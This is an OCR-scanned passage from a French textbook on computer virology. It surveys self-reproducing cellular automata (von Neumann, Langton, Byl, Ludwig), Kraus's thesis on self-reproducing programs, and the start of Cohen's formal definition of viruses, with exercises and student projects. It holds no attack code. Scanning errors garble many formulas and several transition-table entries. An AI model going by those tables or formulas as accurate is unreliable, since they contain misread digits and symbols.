dance adoptée plus haut et de la définition 13), s'il existe une configuration
¢, une cellule o € supp(c) et un état d’arrét v # vg, tel que pour toute
configuration ¢’ € B, ¢(¢') est définie §’il existe un instant ¢ tel que

F'(cUd)lsupp(B) = ¢(')

ol

supp(B) = | J supp(c')
deB

et Ft(cU )|supp(B) ne fait pas passer d’information & Ft(c U ¢)|supp(B),
et si de plus

FilcUd) (o) =vet F¥(cUd)a) £v V' <t

On dit alors que la configuration ¢ calcule 1a fonction partielle ¢.

Définition 16 Un espace cellulaire est dit de calculabilité universelle sl
existe un ensemble infini B de bandes de calcul, dit de Turing et si pour
toute fonction partielle Turing-calculable ¢, de B dans B, il existe une confi-
guration ¢ disjointe de B telle que c calcule ¢.

Un espace cellulaire est donc de calculabilité universelle si toute fonction
partielle Turing-calculable est calculable dans cet espace.

Dotons un espace cellulaire d’un ensemble de Turing B. Supposons ensuite
qu’il existe une configuration ¢ digjointe de B, telle que pour toute fonction
partielle ¢ Turing-calculable de B dans B, il existe une bande b € B et une
translation 9§ telle que by soit disjointe de B et de ¢. Supposons, de plus, que
c U bg calcule ¢. Alors une telle configuration ¢ est appelée un ordinateur
universel d’ensemble B.

Nous pouvons maintenant donner deux propositions importantes concer-
nant le modéle de von Neumann.

Proposition 6 L’automale cellulaire de von Neumann est de calculabilité
universelle.

(Preuve dans [216, pp 185-186]).

Proposition 7 Il existe un ordinateur universel dans ['automate cellulaire
de von Neumann.

(Preuve dans [216, pp 185-186]).
Tout cela démontre la validité du modéle défini par von Neumann, dans
la continuité des travaux de Turine. Les proores travaux de von Neumann
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dans ce domaine — en premier lieu, construire effectivement un ordinateur
universel (son fameux automate cellulaire autoreproducteur) — ont en retour
permis de valider « par 'expérience » la modélisation de Turing.

A titre d’exemple, notons qu'il n’existe pas de méthode générale (4.e uni-
verselle) effective pour déterminer dans un automate cellulaire si une confi-
guration ¢ est stable (au sens de la définition 10). Cela provient du fait que
le probléme de l'arrét défini dans le cadre de la théorie de Turing peut se
ramener au probléme de la stabilité dans le modéle cellulaire.

2.3.2 L’automate autoreproducteur de von Neumann

Apreés avoir défini et analysé de maniére théorique son modéle, voyons
comment von Neumann 1’a réalisé en pratique. Von Neumann s’est posé la
question de savoir g’il était possible de construire effectivement une « ma-
chine » autoreproductrice, capable de construire, sans perte de complexité,
d’autres machines, et en particulier elle-méme. Citons von Neumann lui-
meéme pour mieux comprendre ses motivations [221] :

Nous étudierons les automates sous les aspects importants et intercon-
nectés de la logique et de la construction. Nos préoccupations peuvent
s’articuler autour des cing questions suivantes :

1. Universalité logique.- Quand une classe d’automates est-elle
universellement logique, c’est-a-dire capable de réaliser toutes les
opérations logiques réalisables par des moyens finis (mais arbi-
trairement grands) ? Egalement, avec quelles conditions supplé-
mentaires (variables mais essenticllement standards'” ) un unique
automate est-il universellement logique ?

2. Constructibilité.- Un aultomale peul-il élre construil, c’est-a-
dire assemblé a partir de « matériaux bruts » définis de maniére
appropriée, par un autre automate ? Ou, de fagon contraposée et
étendue, quelle classe d’automates peut étre construite par un au-
tomate donné el adéquat ¢ Les conditions variables mais essen-
tiellement standards pour ce dernier, telles que définies dans la
seconde question de litem (1), peuvent ici étre autorisées.

3. Constructibilité universelle.- En spécifiant encore plus la se-
conde question de Uitem (2), tout automate donné et adéquat,
peut-il étre construction-universel, c¢’est-a-dire capable de construire

17 Ces conditions sont en fait une bande de calcul indéfiniment extensible d’une machine
de Turine. telle aue définie dans 2181 : voir aussi [221. pace 49 et suiv.l.
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au sens de Uitem (2) (avec des conditions variables mais essen-
tiellement standards) tout autre automate ?

4. Auto reproduction.- Fn restreignant la question de Uitem (3),
tout automate peut-il construire d’autres automates exactement
identiques o lui-méme ¢ De plus, peut-il étre construit de facon
a réaliser d’autres tdches, par exemple, construire d’outres auto-
mates donnés ?

5. Evolution.- En combinant les questions des items (8) et (4), la
construction d’un automate peut-elle étre le résultat d’une progres-
sion de types simples vers des types plus complexes ¢ Egalement,
en supposant posée une définition adéquate de '« efficacité » cette
évolution peut-elle progresser a partir d’automates moins efficaces
pour produire des automates plus efficaces ?

Von Neumann pensait qu’il devait exister un algorithme permettant de
décrire les mécanismes complexes (biologiques et biochimiques) d’une « ma-
chine biologique » donnée. Si un tel algorithme existe, il en est de méme,
par conséquent, pour une machine de Turing universelle permettant de le
réaliser, autrement dit, en corollaire de s’autoreproduire. A I’inverse, si des
machines de Turing universelles existent, alors, il en a déduit que les méca-
nismes du vivant sont descriptibles par des machines. Thatcher a démontré
que l'automate de von Neumann est un constructeur universel. Cela signi-
fie qu’il est non seulement capable de réaliser toutes les opérations logiques
(selon la proposition 7, il contient un ordinateur universel) mais qu’il est
également capable d’identifier et de manipuler des éléments variés.

En effet, la notion de constructeur universel implique non seulement la ca-
pacité de construire effectivement la machine dont la description, sous forme
symbolique (une bande de calcul) lui est fournie, mais également la capa-
cité & attacher une copie de cette description a la machine qui vient d’étre
construite. L’autoreproduction est juste un cas particulier ot la machine
décrite est précisément le constructeur lui-méme.

Von Neumann a identifié cependant un probléme pratique que le modéle
théorique ne suggére que trés implicitement. Considérons un modele cellu-
laire M et une bande B 4. Le modéle construira une copie de M mais il ne
s’agit pas encore, contrairement & ce que nous pourrions penser, d’autorepro-
duction. L’ensemble M U B4 construit M et non M UB . Si nous pensons
remédier & ce probléme en ajoutant & Ba une description de B, nous tom-
bons dans un cercle vicieux sans fin (MU Baqug,, construit MUBay et non
MU BMUBM)'
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Von Neumann a résolu ce probléme en utilisant un automate composé de
plusieurs sous-automates permettant de briser le cercle vicieux (pour plus de
détails voir la description compléte dans [221] et dans [139, pp 571-572]).

L’automate complet est extrémement complexe et nécessite plusieurs di-
zaines de pages pour étre décrit. Von Neumann est mort avant d’avoir pu
démontrer les résultats présentés dans la section précédente. Son travail a
été achevé par d’autres et publié en 1966 [221]. Son schéma général est pré-
senté en figure 2.3. Les principaux éléments (reliés au moyen d’un canal dans
lequel les données circulent codées) sont les suivants :

un pulseur (P) (codage des commandes de canal et création de sé-
quences de pulsation nécessaires aux autres organes) ;

une unité de controle (1) et les unités de décodage de ses entrées (D1)
et de codage de ses sorties (C1);

une unité de construction (2) et son unité de décodage en entrée (D2);
une unité de bande (3) et ses unités de décodage (C3) en entrée et de
codage (D3) en sortie;

une zone de construction (4) reliée a l'unité (2) par un bras (dit de
construction) dans lequel la construction se fait par I'intermédiaire de
la téte dite de construction (TC);

une zone de bande (5) (et sa téte de lecture (TL)) alimentant Punité

3).

Pour résumer, 'automate de von Neumann posséde les caractéristiques sui-
vantes :

chaque cellule posseéde 20 états différents possibles (répartis en cing
classes selon leur propriétés relativement a la fonction de transition) ;
le voisinage est défini sur cinq cellules, dont la cellule courante, par

g(e) ={a,a+ (0,1),a+ (0,—1),a+ (1,0)a + (—1,0) };

la représentation par table de vérité de la fonction de transition (décrite
dans [221, chap. 2]) comporterait environ 2%° entrées (notons qu’il existe
au total 2929° = 1030000000 f5nctions de transitions possibles, ce qui fait
du résultat de von Neumann un résultat inoui en soi) ;

I’espace cellulaire utilisé comporte 272 245 cellules.

2.3.3 L’automate de Langton

L’automate de von Neumann est d’'une complexité tellement grande que
d’autres, aprés lui se sont attachés a trouver des modeéles (automates) plus
réduits. moins complexes. En 1968. Codd [501 travailla a réduire la complexité
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du modéle de von Neumann. Son propre modéle'® assez proche de celui de
son prédécesseur, nécessitait seulement huit états par cellule mais encore
des dizaines de milliers de cellules. Il semblait difficile d’obtenir un modéle
vraiment simple.

En fait, les résultats de von Neumann ont dépassé la problématique de
départ — & savoir une modélisation du vivant. En effet, aucun systéme vivant
n’est en soi un constructeur universel, quelle que soit la définition considérée.
Une mouche n’engendrera jamais autre chose qu'une mouche, appartenant
a la méme variété. Quelques variations (mutations) peuvent survenir mais
le processus s’arréte 1a. Citons Christopher G. Langton [158, page 137] au
sujet du modéle de von Neumann :

« [...] il a été requis que toute configuration autoreproductrice soit un
constructeur universel. Ce critére, en effet, élimine les cas triviauz,
mais a pour conséquence malheureuse d’éliminer les systémes natu-
rellement capables d’autoreproduction, puisque ceuz-ci ne sont pas
capables de constructibilité universelle [...] Ainsi, les critéres wtili-
sés jusque-la, pour définir 'autoreproduction doitvent étre assouplis
un peu afin d’inclure le type passif de reproduction évoqué plus haut.
1l semble clair que nous devrions considérer sérieusement le terme
« auto » dans « autoreproduction » el demander G une configura-
tion que la construction de sa copie soit directement dirigée par la
configuration elle-méme. »

Les travaux de C. G. Langton ont marqué un tournant dans cette re-
cherche. Il adopta une définition plus « souple » de la notion d’autoreproduc-
tion en abandonnant la propriété de constructeur universel et en ne considé-
rant que l'action directe de la structure parente elle-méme plutot que celle
seulement des régles de transition. Cela lui a permis de considérablement ré-
duire la complexité de son automate, connu sous le nom de boucle de Langton
et dont la description détaillée pourra étre trouvée dans [158]. Cet automate
autoreproducteur utilise cing états et 94 cellules dans une grille de 10. L’au-
toreproduction survient au bout de 151 pas. La fonction de transition est
donnée en table 2.2 avec la convention suivante :

H
CHDBG-N<& [GCD | =N (2.1)
B

En outre, Langton a montré que non seulement le caractére autoreproduc-
teur de son automate ne reposait sur aucune capacité de constructibilité

18 Qo validité a été démontrée par Arbib 101 en 1966.
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CGHDB-N CGHDB-N CGHDB-N CGHDB-N CGHDB-N CGHDB-N CGHDB-N

00000-0 00001-2 00002-0 00003-0 00005-0 00006-3 00007-1
00011-2 00012-2 00013-2 00021-2 00022-0 00023-0 00026-2
00027-2 00032-0 00052-5 00062-2 00072-2 00102-2 00112-0
00202-0 00203-0 00205-0 00212-5 00222-0 00232-2 00522-2
01232-1 01242-1 01252-5 01262-1 01272-1 01275-1 01422-1
01432-1 01442-1 01472-1 01625-1 01722-1 01725-5 01752-1
01762-1 01772-1 02527-1 10001-1 10006-1 10007-7 10011-1
10012-1 10021-1 10024-4 10027-7 10051-1 10101-1 10111-1
10124-4 10127-7 10202-6 10212-1 10221-1 10224-4 10226-3
10227-7 10232-7 10242-4 10262-6 10264-4 10267-7 10271-0
10272-7 10542-7 11112-1 11122-1 11124-4 11125-1 11126-1
11127-7 11152-2 11212-1 11222-1 11224-4 11225-1 11227-7
11232-1 11242-4 11262-1 11272-7 11322-1 12224-4 12227-7
12243-4 12254-7 12324-4 12327-7 12425-5 12426-7 12527-5
20001-2 20002-2 20004-2 20007-1 20012-2 20015-2 20021-2
20022-2 20023-2 20024-2 20025-0 20026-2 20027-2 20032-6
20042-3 20051-7 20052-2 20057-5 20072-2 20102-2 20112-2
20122-2 20142-2 20172-2 20202-2 20203-2 20205-2 20207-3
20212-2 20215-2 20221-2 20222-2 20227-2 20232-1 20242-2
20245-2 20252-0 20255-2 20262-2 20272-2 20312-2 20321-6
20322-6 20342-2 20422-2 20512-2 20521-2 20522-2 20552-1
20572-5 20622-2 20672-2 20712-2 20722-2 20742-2 20772-2
21122-2 21126-1 21222-2 21224-2 21226-2 21227-2 21422-2
21522-2 21622-2 21722-2 22227-2 22244-2 22246-2 22276-2
22277-2 30001-3 30002-2 30004-1 30007-6 30012-3 30042-1
30062-2 30102-1 30122-0 30251-1 40112-0 40122-0 40125-0
40212-0 40222-1 40232-6 40252-0 40322-1 50002-2 50021-5
50022-5 50023-2 50027-2 50052-0 50202-2 50212-2 50215-2
50222-0 50224-4 50272-2 51212-2 91222-0 51242-2 51272-2
60001-1 60002-1 60212-0 61212-5 61213-1 61222-5 70007-7
70112-0 70122-0 70125-0 70212-0 70222-1 70225-1 70232-1
70252-5 70272-0

TAB. 2.2. Table de transition de la boucle de Langton

universelle. Il a également démontré que, dans le cas général, si la condi-
tion d’universalité était une condition suffisante pour I'autoreproduction,
elle n’était pas nécessaire.

Par la suite, Byl [41] en 1989, reprit la définition de Langton de l'au-
toreproduction et parvint a réduire encore plus la complexité d’automates
autoreproducteurs. Il a exhibé plusieurs automates trés simples. La table 2.5
donne la fonction de transition pour un automate a 20 cellules/6 états (au-
toreproduction au bout de 46 pas, retour 4 la configuration initiale en 50
pas avec rotation de 90 deerés) et la table 2.6 celle pour un automate a 12
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cellules/6 états (duplication en 25 pas). Les tables et configuration de départ
sont présentées dans les exercices, en fin de chapitre.

Enfin, en 1993, Mark Ludwig [168, page 107| a produit un automate a
six états encore plus simple dont le schéma est donné en figure 2.4 (voir
exercices).

2.3.4 Les programmes autoreproducteurs de Kraus

Tous les travaux précédents et en premier lieu ceux de von Neumann,
bien que tous trés intéressants d’un point de vue théorique, ne congoivent
I’autoreproduction que dans le cadre de I'abstraction de la notion de pro-
gramme. Ces travaux, en régle générale, restent encore éloignés de la notion
de programmes réels, méme si la traduction de ces résultats du monde des
automates vers celui des programmes ne pose fondamentalement pas de pro-
blémes conceptuels. En d’autres termes, il manquait un travail de formalisa-
tion pour étudier 'autoreproduction des programmes et ainsi explorer toutes
les conditions, notamment selon la nature des langages, des compilateurs, des
environnement, pour qu’elle soit effectivement réalisable. En quelque sorte,
il restait a découvrir comme un « chainon manquant » reliant les travaux
de von Neumann et ceux de Fred Cohen, pére de la virologie informatique,
en tant que science, que nous présenterons dans le chapitre 3. Ce « chainon
manquant » sera découvert en 1980 avec les travaux de Jirgen Kraus [151],
de I"université de Dortmund en Allemagne.

Ces travaux, d’une importance capitale, sont malheureusement restés
dans l'anonymat le plus complet jusqu’a ce qu’en 2006, par le plus grand
des hasards, ils soient exhumés de la bibliothéque de 'université de Dort-
mund [152; Avant-propos|. D'une certaine maniére, ces travaux prouvent que
la véritable naissance de la virologie informatique se situe non pas aux Etats-
Unis mais bien en Europe, dont von Neumann lui-méme était originaire. Mais
un oubli malheureux de travaux fondamentaux, ajouté aux vicissitudes de
I’Histoire, et c’est ’histoire d’un domaine de connaissances qui s’en trouve
totalement changée.

La thése de Kraus étant particuliérement technique, il est impossible de
la présenter en détail dans ce chapitre. Nous allons en résumer les grandes
lignes. Nous recommandons vivement aux lecteurs de 1’étudier car, outre
une formalisation rigoureuse, notamment wvia le théoréme de récursion, l'au-
teur illustre tous les résultats obtenus & ’aide de nombreux programmes en
langage PASCAL et SIMULA.

1. Kraus définit [152, chapitre 1] tout d’abord un modéle de langage de
proerammation. anpelé lanegage PL. Ce laneage est généré a nartir d’une
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grammaire non contextuelle (voir [104, Section 6.4]) établie pour décrire
totalement le langage PL. Une fois ce travail préliminaire effectué, la no-
tion de fonction PL(A)-calculable est alors étudiée. En utilisant, la thése
de Church!®, Kraus montre alors que toute fonction récursive peut étre
calculée par un programme en PL(A). L’existence de programmes auto-
reproducteurs est alors démontrée par l'utilisation du codage de Godel
et de résultats classiques de calculabilité (théoréme de récursion). Ce
résultat, que nous avons présenté dans la section 2.2.4 sera redémontré
indépendamment en 2006 [30] puis exploré en profondeur en 2007 [31]
(voir section 4.6).

. A partir de ces résultats fondamentaux, J. Kraus, ensuite, illustre ce théo-

réme d’existence & 'aide de nombreux programmes écrits en langage de
haut niveau : PASCAL, SIMULA et Assembleur Siemens [152, chapitre 2].
L’intérét essentiel est la facon didactique utilisée par 'auteur, partant
de l'approche naive pour arriver, via la déduction, & des constructions
abouties. Les principaux mécanismes de construction sont ainsi abordés.

. Une fois 'autoreproduction de programmes prouvée et illustrée en pra-

tique, Kraus s’est attaché a décrire et étudier plusieurs variantes d’au-
toreproduction de programmes [152, chapitre 3|, a la fois sur le plan
théorique et sur le plan pratique : programmes infiniment autoreproduc-
teurs, programmes cycliquement autoreproducteurs (cas particulier du
précédent), programmes cycliquement autoreproducteurs avec change-
ment de langage de programmation — cas préfigurant les virus multi sys-
témes d’exploitation (voir chapitre 5 et [104, chapitre 6]) —, programmes
k-autoreproducteurs... Au final, ces différentes variantes ont permis d’éta-
blir une hiérarchie entre les différentes variantes d’autoreproduction de
programmes.

. Dans la suite de son étude, Kraus a exploré des propriétés additionnelles

pour l'autoreproduction de programmes :

— Existe-t-il des programmes autoreproducteurs capables d’effectuer des
actions additionnelles (recherche de fichiers, opérations complexes) ?
Cette problématique n’est ni plus ni moins — certes sous une appella-
tion nettement moins polémique — que celle de la conception de virus
possédant une fonction d’infection et une charge finale.

!9 La thése de Church, du nom du mathématicien Alonzo Church [49], définit le principe

méme de calculabilité. Selon cette thése, tout traitement réalisable mécaniquement peut
étre également réalisé par une machine de Turing. Autrement dit, le concept intuitif de
calculabilité effective est parfaitement formalisé var les machines de Turing.
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— Pour tout programme quelconque (non autoreproducteur) 7, peut on
trouver une forme autoreproductrice 7’ de ce programme, réalisant la
méme fonction ?

— Plus généralement, existe t-il un programme produisant a partir de ce
programme quelconque 7 une version autoreproductrice 7’ ?

Pour toutes ces questions, Kraus a montré que ’on pouvait répondre par

I'affirmative et a produit de nombreux exemples pratiques écrits dans

différents langages.

5. Enfin, Kraus s’est intéressé a la coexistence et aux interactions entre
programmes autoreproducteurs [152, chapitre 8|. Cela I’a amené a définir
des motifs comportementaux permettant de décrire au mieux ces interac-
tions. Dans un dernier chapitre, les concepts de mutation et d’évolution
sont présentés sous l'angle algorithmique.

La thése de Kraus contient d’autres aspects qui méritent que 'on s’y in-
téresse, si tant est que ce qui précéde n’y suffisait pas. Nous ne pouvons
que trés vivement recommender aux lecteurs de lire et d’étudier cette thése.
Elle constitue ’admirable synthése d’une formalisation théorique aboutie et
d’une vision algorithmique de tout premier plan.

Cette thése, bien qu’écrite en 1980, est d’une étonnante actualité et
montre que huit ans avant Fred Cohen, bien des aspects de la virologie
informatique avaient été formalisés. Il ne manquait plus qu'une touche de
marketing pour adopter le terme de virus en lieu et place de celui de pro-
gramme autoreproducteur. Néanmoins, 'apport de Fred Cohen en ce qui
concerne le résultat d’indécidabilité de la détection virale reste indéniable.
La question que 'on peut se poser est la suivante : Fred Cohen avait-il eu
connaissance de la thése de Kraus?

Exercices

1. Programmez 'automate autoreproducteur de Langton. La configuration
initiale (+ = 0) est donnée par la table 2.3. Etudiez I'évolution et les
dégénérescences de 'automate au cours des générations. En transposant
au monde viral, et en vous aidant des notions du chapitre 5, que pouvez-
vous en conclure?

2. Retrouvez la fonction de transition de lautomate de Ludwig (voir fi-
gure 2.4). Etudiez ensuite son évolution et ses dégénérescences.

3. Programmez les deux automates de Byl (Byl! et Byl2 présentés dans le
chapitre). La table 2.4 donne les configurations initiales & ¢ = 0. Les
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22222222
2170140142
2022222202

272 212
212 212
202 212
272 212

21222222122222
207107107111112
2222222222222

TaB. 2.3. Configuration initiale de la boucle de Langton

2 2 2
212 212 212
3 5
4
t=0 t=1 t=2
2 2 25
21 213 21 4
2 3 2
636 622 2
6 262 211
t=3 t=4 t=5

Fi1G. 2.4. Automate autoreproducteur de Ludwig

fonctions de transition sont données respectivement dans les tables 2.5
et 2.6. Les voisinages sont décrits selon la convention de la formule 2.1.
La notation C**** désigne tous les b-uplets commencant par le chiffre C
autres aue ceux donnés dans le tableau.
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Byl1

Byi2

222
21412
23 32
21312

225

22
2312
2342

25

TAB. 2.4. Configurations initiales des automates de Byl

CHDBG-N CHDBG-N CHDBG-N CHDBG-N CHDBG-N CHDBG-N

00003-1 10000-0 20000-0
00012-2 10001-0 20015-5
00013-1 10004-0 20022-0
00015-4 10033-0 20035-5
00025-4 10043-1 20202-0
00031-5 10325-5 20215-5
00032-3 10421-4 20235-5
00042-2 10423-4 20252-5
00121-1 10424-4 Q¥*H*_D
00204-2 11142-4
00324-3 11423-4
00422-2 12234-4
00532-3 12334-4
QF**_9 12443-4

1H***_g

30001-0 40003-5 50001-0
30003-0 40022-5 50022-5
30011-0 40035-2 50032-5
30235-3 40043-4 50122-5
30245-5 40212-4 50222-0
31235-5 40232-4 50244-5
Jrrk_] 40242-4 50322-5

40252-0 50412-4

40325-5 50422-0

41452-5 prxEE_D

AFFxE_]

TAB. 2.5. Table de transition de byl!

Projets d’études

Etude du théoréme de Herman

Ce projet devrait occuper un éléve pendant deux a quatre semaines (ni-

veau 2éme et 3éme cycle).

Dans [134], G. T. Herman démontre le théoréme suivant :

Théoréme 6 1] existe un espace cellulaire Z muni d’un ensemble de Turing

T et une configuration u tels que :
1. supp(u) est un singleton,

2. u est autoreproductrice,

3. u est un ordinateur-constructeur universel.
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CHDBG-N CHDBG-N CHDBG-N CHDBG-N CHDBG-N CHDBG-N

00003-1 10000-0 20000-0 30001-0 40003-5 50022-5
00012-2 10001-0 20015-5 30003-0 40043-4 50032-5
00013-1 10003-3 20022-0 30011-0 40212-4 50212-4
00015-2 10004-0 20202-0 30012-1 40232-4 50222-0
00025-5 10033-0 20215-5 30121-1 40242-4 50322-0
00031-5 10043-1 20235-3 30123-1 40252-0 pFHHE_Q
00032-3 10321-3 20252-5 31122-1 40325-5
00042-2 11253-1 QHHHE_D 31123-1 qrE*E_
O****_Q 12453-3 31215-1
THEEE_4 31223-1
31233-1
31235-5
31432-1
31452-5
3...-3

TAB. 2.6. Table de transition de byl2

L’éléve étudiera l'article de Herman et la démonstration du théoréme puis
construira et programmera, dans le langage de son choix, un tel espace cel-
lulaire Z.

Programmation de ’automate de Codd

Ce projet devrait occuper un éléve pendant trois a cing mois (niveau
2éme et 3éme cycle).

Lorsque Codd, en 1968, a proposé un automate moins complexe que celui
de von Neumann, son propre automate restait largement non représentable.
Les ordinateurs d’aujourd’hui permettent d’implémenter un tel automate.
L’¢éleve étudiera le modeéle de Codd [50] puis le programmera.

Implémentation des programmes autoreproducteurs de Kraus

Ce projet devrait occuper un éléve pendant deux & quatre mois (niveau
ler et 2éme cycle).

L’éléve étudiera les chapitres 1 et 2 de la thése de Kraus [152]| puis im-
plémentera le programmes donné en langage PASCAL dans le chapitre 3 de
cette thése. Ce travail devra considérer la version naive donnée en début de
chapitre, I'implémenter et la tester et ensuite suivre le cheminement adopté
par Kraus pour aboutir & la version finale de son programme.
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Kraus n’a abordé le probléme de complexité de ses programmes que plus
tard dans sa thése. Montrer que le programme 75 a une complexité linéaire
linéaire en un paramétre que 1’éléve précisera.

Dans une seconde phase de ce projet, I’éléve implémentera les programmes
présentés par Kraus dans le chapitre 4 (variantes de programmes autorepro-
ducteurs).
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La formalisation : F. Cohen et
L. Adleman (1984-1989)

3.1 Introduction

Les résultats théoriques présentés dans le chapitre précédent contenaient
implicitement toutes les informations nécessaires & la réalisation pratique
de virus. Il faudra attendre la fin des années 1970 pour voir apparaitre les
premiers virus' connus. La notion de programmes offensifs était déja connue
et évoquée ces années 1a (en particulier, les chevaux de Troie portés par un
virus [7,165] ou non [217]) et les premiers modéles de protection commen-
calent a étre définis (notamment [21]). Le célébrissime jeu « Core Wars »
(affrontement de programmes dont le but est leur propre survie face aux
autres programmes ; & noter qu'une partie de ce jeu est née sur le site de dé-
veloppement et d’essais de missiles de 'armée américaine!) date également
de cette époque.

L 11 faut insister sur le fait que dans ce domaine, comme dans bien d’autres de méme
nature pouvant concerner d’éventuelles applications militaires, I’'Histoire officielle coin-
cide rarement avec I’'Histoire réelle. Rappelons que John von Neumann a été impliqué
dans bon nombre de projets militaires dont le fameux projet Manhattan (conception
de la bombe nucléaire). Alan Turing, lui-méme, a été mis au secret dans le cadre du
programme Ultra (décryptement de la machine a chiffrer Enigma). 11 serait surprenant
que les militaires américains, dont 'esprit de prospective et le pragmatisme ne sont plus
a souligner, (nous leur devons Internet, a 'origine projet Arpanet) ou que des militaires
d’autres pays, n’aient pas songé & développer de tels programmes offensifs. Une allusion
de Fred Cohen lui-méme, dans ses remerciements de début de thése [51, page 1, §9], per-
met de penser que cela est vraisemblablement le cas. Une autre référence [167, page 149]
mentionne les activités du laboratoire d’intelligence artificielle du M.I.T., au profit du
gouvernement. Il est clair que les premiers modéles de protection contre de tels pro-
grammes et autres risques informatiques ont été commandités et étudiés par les forces
armées ameéricaines 4 une époque ol la menace n’était ni formalisée ni clairement évi-
dente (voir la bibliographie de [511).
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Les premiers virus et vers connus, avant les travaux de Fred Cohen et de
Leonard Adleman, sont peu nombreux. Le programme Xerox [205] qui est
accidentellement devenu ce qui est désormais connu sous le nom de ver, est
apparu en 1981. Cette méme année est apparu un virus pour I’Apple 11, dans
le cadre d'une étude spéculative sur I’évolution et la « sélection naturelle » des
copies de jeux piratés (pour plus de détails consulter [133, pp 27-28]). En
1983, le virus Elk Cloner a fait son apparition sous AppleDOS 3.3 et bien
qu’il ait donné lieu & quelques petits désagréments, il ne semble pas issu
d’une volonté maligne (voir [133, page 28|). Enfin, alors que Fred Cohen sou-
tenait sa fameuse thése de doctorat, le virus de boot pakistanais Brain faisait
son apparition (pour une description détaillée, consulter les sites antivirus,
particuliérement [14,122,208]).

A quelques rares exceptions prés, les quelques cas connus sont plutot le
fait d’expériences ayant mal tourné que d’une activité volontairement mal-
faisante. Les travaux de Fred Cohen ont donc été publiés & un moment ou les
programmes viraux ont commencé a apparaitre mais sans qu’une véritable
réflexion sur le sujet ait été menée. Le terme méme de virus n’était méme
pas encore utilisé. Il est dit & Fred Cohen (sous I'impulsion de L. Adleman).
C’est pourquoi cette thése de 1986 a constitué un apport dont on ne mesure
toujours pas la portée?. Fred Cohen a donné en premier lieu une définition
assez précise de la notion de virus, définition retenue par tous dés lors.

Définition 17 Un virus est une séquence de symboles qui, interprétée dans
un environnement donné (adégquat), modifie d’autres séquences de symboles
dans cet environnement, de maniére & y inclure une copie de lui-méme, cetie
copie ayant éventuellement évolué.

Pratiquement tous les aspects de la virologie informatique ont été traités
et envisagés dans la thése de Fred Cohen : définition formelle, modélisation
de la lutte antivirale, modéles de protection, études de propagation, poly-
morphisme... La notion de virus de documents, dont la premiére illustration
n’est apparue qu’en 1995, est également sous-entendue dans cette définition.
Méme si cette étude se limite aux virus, aborde peu ou prou le probléme
des vers, en tant que tels, et ne traite pas du tout la problématique générale
des autres infections informatiques (voir [90]), les travaux de Fred Cohen res-
tent fondamentaux, d’une étonnante universalité et d'une non moins certaine
actualité.

Leonard Adleman, en 1988, a complété les travaux de son éléve, en pre-
nant un peu plus de hauteur et en considérant les choses d’un point de vue

2 Le fait que Fred Cohen ait démontré que la lutte antivirale parfaite est une impossibilité
mathématioue a peut-étre contribué a cette méconnaissance !
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plus général. Sa publication de 1989 [1] (présente sur le CDROM avec lai-
mable autorisation des éditions Springer) unifie tous les aspects de ce que
les Anglo-saxons nomment malware et que nous désignerons par le terme
d’infections informatiques. Son travail part de la notion fondamentale de
fonction récursive, présentée dans le chapitre précédent. Léonard Adleman
a étudié notamment certains modéles de protection, moins contraignants et
plus réalistes, d’un point de vue pratique, que ceux de Fred Cohen. De plus,
il a identifié plusieurs problémes ouverts.

Le but de ce chapitre est de présenter les travaux de Fred Cohen et de
Leonard Adleman. Encore une fois, il est regrettable autant que surprenant
que leurs travaux ne soient pas plus connus et cités. Ils ont établi prati-
quement toutes les bases de la virologie informatique. Les programmeurs de
virus ou d’antivirus ont directement mis en application ce que leur formali-
sation a systématisé. Mais combien d’entre eux connaissent leurs travaux et
leur rendent ’hommage qu’ils méritent 7

3.2 La formalisation de Fred Cohen

Cette présentation des résultats de Fred Cohen est directement basée sur
sa theése de doctorat défendue en 1986 a 1’Université de Californie du Sud [51].
Nous ne donnerons pas, sauf dans quelques cas particuliérement intéressants,
la démonstration compléte des différents théorémes. Le but est a la fois de
simplifier cette présentation en nous focalisant sur les résultats eux-mémes,
mais également d’inciter le lecteur & consulter les documents originaux de
Cohen; et ainsi & rendre, en quelque sorte, hommage & une contribution,
encore trop méconnue, au domaine des virus informatiques (domaine lui-
méme peut-étre trop médiatisé).

3.2.1 Concepts de base et notations

Le travail de Fred Cohen prend pour base les machines de Turing mais
il considére une formalisation quelque peu différente de celle présentée dans
le chapitre 2. En particulier, il s’attache & décrire plus intimement les méca-
nismes d’une machine de Turing en considérant ['aspect temporel des choses.

Définition 18 Une machine de Turing M est définie par la donnée
— d’un ensemble de n + 1 états Syr = {so,s1,...,5,} avec n € N,
— d’un ensemble de m + 1 symboles In; = {ip,41,...,4m} avec m € N,
— d’un ensemble d = {—1,0,+1} décrivant les mouvements possibles pour
la téte de lecture.
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— d’une fonction de sortie Opy 2 Spyp X Ipr — Ing,

— d’une fonction de transition Nys : Spr X Iyr — Sy,

— d’une fonction de déplacement Dys : Sy X Ing — d.
La machine M est désignée alors par le quintuplet (Snr, Ing,Opr, Nas, Dar).
L’ensemble des machines de Turing sera noté M.

Le lecteur vérifiera que cette description correspond a celle présentée dans
le chapitre 2. Trois fonctions « temporelles » sont ensuite considérées, en
précisant que la notion de temps coincide avec celle d’indice de pas (action
élémentaire de M) :

— la fonction temporelle d’état $5; : N — Sp; qui pour chaque indice de
pas, donne 1’état correspondant & l'issue;

— la fonction temporelle de bande O : NxN — 17 qui fournit le contenu
d’une cellule en fonction de son numéro et de I'indice de pas;

— la fonction temporelle de cellule Py : N — N donnant le numéro de
cellule aprés le déplacement de la téte de lecture en fonction de 'indice
de pas.

Ces trois fonctions temporelles permettent de définir rigoureusement la no-
tion d’historique Hj; d'une machine de Turing M par le triplet (337, Oar, Pas)-
L’historique & un instant ¢ donné (autrement dit, pour un indice de pas
donné) sera noté par

HM(t) = ($M7 DM,PM)(t) = ($M(t), D]W(t,’i),P]W(t)) i€ N.

L’état initial de M est alors Hps(0). L'intérét de cette vision temporelle est
de pouvoir décrire facilement et de maniére univoque tout état général de la
machine M a l'instant ¢ & partir de ’état initial et des fonctions Opz, Nay
et Dys. Le lecteur, a titre d’exercice, pourra établir les expressions décrivant
la situation & l'instant £ + 1 en fonction de I'état général de M & I'instant t.
Nous avons vu dans la section 2.2.3, que 'on ne peut pas a priori prévoir si
le calcul d’'une machine M va s’arréter ou non (probleme d’arrét). Avec les
notations qui viennent d’étre données, nous avons :

Définition 19
Le calcul de la machine M s’arréte a linstant t si et seulement si,
Yt >t $M(t) = $M(t/)
et
Vi eN DM(t,i) = DM(t/,i) et P]W(t) = P]W(t/)

Le calcul de la machine M s’arréte s’il existe un instant t pour lequel M
s’arréie.
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Pour sa formalisation, Fred Cohen considére deux objets particuliers, qui
